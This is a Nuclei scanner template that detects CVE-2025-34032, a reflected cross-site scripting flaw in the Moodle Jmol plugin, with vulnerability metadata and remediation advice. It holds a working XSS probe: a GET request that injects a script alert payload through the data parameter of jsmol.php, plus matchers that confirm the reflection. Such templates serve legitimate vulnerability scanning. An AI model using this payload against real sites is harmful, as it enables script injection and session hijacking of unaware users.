id: CVE-2025-34032

info:
  name: Moodle LMS Jmol Plugin <= 6.1 - Cross-Site Scripting
  author: madrobot,ritikchaddha
  severity: medium
  description: |
    A reflected cross-site scripting (XSS) vulnerability exists in the Moodle LMS Jmol plugin version 6.1 and prior via the data parameter in jsmol.php. The application fails to properly sanitize user input before embedding it into the HTTP response, allowing an attacker to execute arbitrary JavaScript in the victim's browser by crafting a malicious link. This can be used to hijack user sessions or manipulate page content.
  impact: |
    Attackers can execute arbitrary JavaScript in victim browsers through crafted links containing XSS payloads in the data parameter, potentially leading to session hijacking.
  remediation: |
    Upgrade to a patched version of Moodle Jmol plugin that properly sanitizes user input in jsmol.php.
  reference:
    - https://www.dionach.com/blog/moodle-jmol-plugin-multiple-vulnerabilities/
    - https://nvd.nist.gov/vuln/detail/CVE-2025-34032
  classification:
    epss-score: 0.00626
    epss-percentile: 0.46579
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cve-id: CVE-2025-34032
    cvss-score: 5.4
    cwe-id: CWE-80
  metadata:
    max-request: 1
  tags: cve,cve2025,moodle,xss,edb,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/filter/jmol/js/jsmol/php/jsmol.php?call=saveFile&data=%3Cscript%3Ealert(document.domain)%3C/script%3E&mimetype=text/html"

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'len(body) == 41'
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
        condition: and

      - type: regex
        regex:
          - '^<script>alert\(document\.domain\)</script>\s*$'
# digest: 4a0a004730450220689f928f8ddd66ba6303fd349816ffc59483001bc5feb7d1fbd7e4383425f42f022100f73cefdfebbc36e445308bdbc547d7b5aea5430984e93566f0f31af2f5be2024:922c64590222798bb761d5b6d8e72950